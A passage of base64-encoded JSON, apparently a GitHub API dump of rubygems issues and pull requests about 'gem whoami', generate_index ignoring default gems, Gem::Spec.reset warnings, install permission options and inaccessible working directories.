XIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxLCJjcmVhdGVkX2F0IjoiMjAxNS0wMS0yMVQxMzo0NzoyN1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wMy0wM1QxNzowMTozNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiV2hlbiB1c2luZyBgZ2VtIHB1c2hgIGZvciB0aGUgZmlyc3QgdGltZSwgaXQgYXV0aGVudGljYXRlcyB5b3Ugd2l0aCBlbWFpbC9oYW5kbGUgYW5kIHBhc3N3b3JkLiBTdWJzZXF1ZW50IHB1c2hlcyB1c2UgcmV0cmlldmVkIGFwaV9rZXkuXG5HaXZlbiBJIGhhdmUgMi0zIHJ1YnlnZW1zIGFjY291bnRzIG9uIG9uZSBsYXB0b3AsIGhvdyBhbSBJIHN1cHBvc2VkIHRvIGNoZWNrIGlmIEknbSB1c2luZyB0aGUgcmlnaHQgYWNjb3VudCBvciBub3Q/XG5JIHdhcyBob3BpbmcgZm9yIHNvbWV0aGluZyBsaWtlOiBgZ2VtIHdob2FtaWAgYnV0IEkgY2FuJ3QgZmluZCBhbnl0aGluZyB0aGF0IHdvdWxkIHJlc2VtYmxlIGl0LlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTQzIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExNDMvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE0My9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExNDMiLCJpZCI6NTQ4MTYxNzQsIm51bWJlciI6MTE0MywidGl0bGUiOiJGaXggYGdlbmVyYXRlX2luZGV4YCBpZ25vcmluZyBkZWZhdWx0IGdlbXMiLCJ1c2VyIjp7ImxvZ2luIjoianVuaW9yeiIsImlkIjozMDgwOSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMzA4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2p1bmlvcnoiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9qdW5pb3J6IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvanVuaW9yei9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qdW5pb3J6L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2p1bmlvcnovZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2p1bmlvcnovc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qdW5pb3J6L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvanVuaW9yei9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qdW5pb3J6L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvanVuaW9yei9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvanVuaW9yei9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjgsImNyZWF0ZWRfYXQiOiIyMDE1LTAxLTE5VDIxOjQ0OjM0WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI1VDA1OjU1OjU0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExNDMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExNDMiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExNDMuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExNDMucGF0Y2gifSwiYm9keSI6ImBnZW0gZ2VuZXJhdGVfaW5kZXhgIHNob3VsZCBub3QgaWdub3JlIGRlZmF1bHQgZ2VtcyBpZiB0aGV5IGFyZSBwcmVzZW50IGluIHRoZSBkaXJlY3RvcnkgY29udGFpbmluZyB0aGUgZ2VtcyB5b3Ugd2FudCB0byBpbmRleCAodGhlIHBhdGggcG9pbnRlZCBieSB0aGUgcGFyYW0gLS1kaXJlY3RvcnkpLlxuXG5gYGBcbiQgcnVieSAtdiAmJiBnZW0gLXZcbnJ1YnkgMi4xLjJwOTUgKDIwMTQtMDUtMDggcmV2aXNpb24gNDU4NzcpIFt4ODZfNjQtZGFyd2luMTMuMF1cbjIuNC41XG5cbiQgdHJlZSAuXG4uXG7ilJTilIDilIAgZ2Vtc1xuICAgIOKUnOKUgOKUgCBqc29uLTEuOC4wLmdlbVxuICAgIOKUnOKUgOKUgCBqc29uLTEuOC4xLmdlbVxuICAgIOKUlOKUgOKUgCBzZG9jLTAuNC4xLmdlbVxuXG4xIGRpcmVjdG9yeSwgMyBmaWxlc1xuJCBnZW0gZ2VuZXJhdGVfaW5kZXggLVZcbkdlbmVyYXRpbmcgTWFyc2hhbCBxdWljayBpbmRleCBnZW1zcGVjcyBmb3IgMiBnZW1zXG4xLzI6IGpzb24tMS44LjBcbjIvMjogc2RvYy0wLjQuMVxuQ29tcGxldGVcbkdlbmVyYXRlZCBNYXJzaGFsIHF1aWNrIGluZGV4IGdlbXNwZWNzOiAwLjAwMXNcbkdlbmVyYXRpbmcgc3BlY3MgaW5kZXhcbkdlbmVyYXRlZCBzcGVjcyBpbmRleDogMC4wMDBzXG5HZW5lcmF0aW5nIGxhdGVzdCBzcGVjcyBpbmRleFxuR2VuZXJhdGVkIGxhdGVzdCBzcGVjcyBpbmRleDogMC4wMDBzXG5HZW5lcmF0aW5nIHByZXJlbGVhc2Ugc3BlY3MgaW5kZXhcbkdlbmVyYXRlZCBwcmVyZWxlYXNlIHNwZWNzIGluZGV4OiAwLjAwMHNcbkNvbXByZXNzaW5nIGluZGljaWVzXG5Db21wcmVzc2VkIGluZGljaWVzOiAwLjAwMXNcbk1vdmluZyBpbmRleCBpbnRvIHByb2R1Y3Rpb24gZGlyIC5cbm1rZGlyIC1wIC4vcXVpY2tcbnJtIC1yZiAuL3F1aWNrL01hcnNoYWwuNC44XG5tdiAtZiAvdmFyL2ZvbGRlcnMvZ3AvMnFoYzRnbXgwOHMzdHdrdnptOWpibWRoMDAwMGduL1QvZ2VtX2dlbmVyYXRlX2luZGV4Xzg4NTQ4L3F1aWNrL01hcnNoYWwuNC44IC4vcXVpY2svTWFyc2hhbC40LjhcbnJtIC1yZiAuL3NwZWNzLjQuOFxubXYgLWYgL3Zhci9mb2xkZXJzL2dwLzJxaGM0Z214MDhzM3R3a3Z6bTlqYm1kaDAwMDBnbi9UL2dlbV9nZW5lcmF0ZV9pbmRleF84ODU0OC9zcGVjcy40LjggLlxucm0gLXJmIC4vc3BlY3MuNC44Lmd6XG5tdiAtZiAvdmFyL2ZvbGRlcnMvZ3AvMnFoYzRnbXgwOHMzdHdrdnptOWpibWRoMDAwMGduL1QvZ2VtX2dlbmVyYXRlX2luZGV4Xzg4NTQ4L3NwZWNzLjQuOC5neiAuXG5ybSAtcmYgLi9sYXRlc3Rfc3BlY3MuNC44XG5tdiAtZiAvdmFyL2ZvbGRlcnMvZ3AvMnFoYzRnbXgwOHMzdHdrdnptOWpibWRoMDAwMGduL1QvZ2VtX2dlbmVyYXRlX2luZGV4Xzg4NTQ4L2xhdGVzdF9zcGVjcy40LjggLlxucm0gLXJmIC4vbGF0ZXN0X3NwZWNzLjQuOC5nelxubXYgLWYgL3Zhci9mb2xkZXJzL2dwLzJxaGM0Z214MDhzM3R3a3Z6bTlqYm1kaDAwMDBnbi9UL2dlbV9nZW5lcmF0ZV9pbmRleF84ODU0OC9sYXRlc3Rfc3BlY3MuNC44Lmd6IC5cbnJtIC1yZiAuL3ByZXJlbGVhc2Vfc3BlY3MuNC44XG5tdiAtZiAvdmFyL2ZvbGRlcnMvZ3AvMnFoYzRnbXgwOHMzdHdrdnptOWpibWRoMDAwMGduL1QvZ2VtX2dlbmVyYXRlX2luZGV4Xzg4NTQ4L3ByZXJlbGVhc2Vfc3BlY3MuNC44IC5cbnJtIC1yZiAuL3ByZXJlbGVhc2Vfc3BlY3MuNC44Lmd6XG5tdiAtZiAvdmFyL2ZvbGRlcnMvZ3AvMnFoYzRnbXgwOHMzdHdrdnptOWpibWRoMDAwMGduL1QvZ2VtX2dlbmVyYXRlX2luZGV4Xzg4NTQ4L3ByZXJlbGVhc2Vfc3BlY3MuNC44Lmd6IC5cbmBgYFxuXG4qKlRoZSBwcm9ibGVtOioqIGBqc29uLTEuOC4xLmdlbWAgaXMgaW5jbHVkZWQgaW4gdGhlIGBnZW1zYCBkaXJlY3RvcnkgYnV0IGlzIHNpbXBseSBpZ25vcmVkLlxuKipUaGUgcmVhc29uOioqIGxpYi9ydWJ5Z2Vtcy9pbmRleGVyLnJiIHNpbXBseSBpZ25vcmVzIGV2ZXJ5IGBkZWZhdWx0X2dlbT9gIHJlZ2FyZGxlc3Mgb2YgaXRzIHByZXNlbmNlIGluIHRoZSBgZ2Vtc2AgZGlyZWN0b3J5LlxuXG5TZWUgaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy82NjEjaXNzdWVjb21tZW50LTcwNTYxODQ5IGZvciBtb3JlIGRldGFpbHMuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzOC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzOC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzOCIsImlkIjo1NDU4NjI2OCwibnVtYmVyIjoxMTM4LCJ0aXRsZSI6Ik1ha2Ugd2FybmluZyBpbiBHZW06OlNwZWMucmVzZXQgbW9yZSBpbmZvcm1hdGl2ZSIsInVzZXIiOnsibG9naW4iOiJKaW1QYW5pYyIsImlkIjoyNzkyOTMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzI3OTI5Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9KaW1QYW5pYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9KaW1QYW5pYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0ppbVBhbmljL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9KaW1QYW5pYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSmltUGFuaWMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W10sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo1LCJjcmVhdGVkX2F0IjoiMjAxNS0wMS0xNlQxNToxODo1MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yNVQwNTo1NTo1NFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkZJUlNUX1RJTUVfQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM4IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM4LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM4LnBhdGNoIn0sImJvZHkiOiJBY2NvcmRpbmcgdG8gaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy8xNzkzNjM0MC91bnJlc29sdmVkLXNwZWNzLWR1cmluZy1nZW1zcGVjaWZpY2F0aW9uLXJlc2V0IHRoaXMgd2FybmluZyBpcyAoYWxzbz8pIHNob3duIHdoZW4gZ2VtIGRvZXNuJ3Qga25vdyB3aGF0IHZlcnNpb24gb2YgYSBnZW0gaXQgc2hvdWxkIHVzZSBpZiBtdWx0aXBsZSBhcmUgYXZhaWxhYmxlLiBUaGUgbWVzc2FnZSBob3dldmVyIGRvZXMgbm90IHNheSB0aGF0LlxuXG5UaGlzIGNoYW5nZSBmaW5kcyBhbGwgaW5zdGFsbGVkIHZlcnNpb25zIGFuZCBkaXNwbGF5cyB0aGVtIGFsb25nc2lkZSB0aGUgb3JpZ2luYWwgZGVwZW5kZW5jeSBhbmQgaXRzIHZlcnNpb24uIEl0IGFsc28gcHJvcG9zZXMgYSBgZ2VtIGNsZWFudXBgLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM2IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzYvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzYvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzYiLCJpZCI6NTQyMDUyNzgsIm51bWJlciI6MTEzNiwidGl0bGUiOiJQZXJtaXNzaW9uIG9wdGlvbnMiLCJ1c2VyIjp7ImxvZ2luIjoibm9idSIsImlkIjoxNjcwMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTY3MDA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ub2J1IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjgsImNyZWF0ZWRfYXQiOiIyMDE1LTAxLTEzVDE1OjE4OjEzWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI1VDA1OjU1OjU0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM2IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM2IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM2LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM2LnBhdGNoIn0sImJvZHkiOiJBZGQgYDpkaXJfbW9kZWAsIGA6cHJvZ19tb2RlYCwgYW5kIGA6ZGF0YV9tb2RlYCBvcHRpb25zIHRvIGBHZW0uaW5zdGFsbGAuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTM1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzNSIsImlkIjo1NDAyMTkwMywibnVtYmVyIjoxMTM1LCJ0aXRsZSI6IkRvbid0IHRyZWF0IGluYWNjZXNzaWJsZSB3b3JraW5nIGRpcmVjdG9yaWVzIGFzIGJ1aWxkIGZhaWx1cmVzLiIsInVzZXIiOnsibG9naW4iOiJwZXRlIiwiaWQiOjM5MzYsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzM5MzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9wZXRlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3BldGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9wZXRlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcGV0ZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjE4LCJjcmVhdGVkX2F0IjoiMjAxNS0wMS0xMlQwNTozMToxNVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yOVQyMzowNDoxNFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkZJUlNUX1RJTUVfQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM1IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM1LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMTM1LnBhdGNoIn0sImJvZHkiOiJJZiB0aGUgdXNlciBpbnN0YWxsaW5nIHRoZSBnZW0gZG9lcyBub3QgaGF2ZSBhY2Nlc3MgdG8gdGhlIGRpcmVjdG9yeVxud2hlcmUgdGhlIGBnZW0gaW5zdGFsbGAgY29tbWFuZCBpcyBydW4gKHdoaWNoIGlzIGNvbW1vbiBmb3Igc3VkbygxKSxcbmZvciBleGFtcGxlKSB0aGVuIGV4dGVuc2lvbnMgd2lsbCBidWlsZCBjb3JyZWN0bHksIGJ1dCB3aWxsIHRoZW4gcmVwb3J0XG5hIGJ1aWxkIGZhaWx1cmUgd2hlbiB0cnlpbmcgdG8gcmV0dXJuIHRvIHRoZSBwcmV2aW91cyB3b3JraW5nIGRpcmVjdG9yeVxucmFpc2VzIGFuIGV4Y2VwdGlvbi4gIFRoaXMgZml4ZXMgdGhlIGJ1ZyBieSByZXR1cm5pbmcgdG8gYSBmYWxsYmFja1xuZGlyZWN0b3J5IGlmIHdlIGNhbid0IHJldHVybiB0byB0aGUgb3JpZ2luYWwgb25lLlxuXG5BbiBleGFtcGxlIGlzIHByb2JhYmx5IGNsZWFyZXI6XG5cbmBgYCBzaFxubWtkaXIgL3RtcC90ZXN0XG5jaG1vZCA3MDAgL3RtcC90ZXN0XG5jZCAvdG1wL3Rlc3RcbnN1ZG8gLXUgJGFfbm9uX3Jvb3RfdXNlciBnZW0gaW5zdGFsbCBzcWxpdGUzXG5gYGBcblxuKEFsdGhvdWdoIGEgbm9uLXJvb3QgdXNlciBpcyBlYXNpZXIgdG8gZGVtb25zdHJhdGUsIHRoaXMgaGFwcGVuZWQgdG8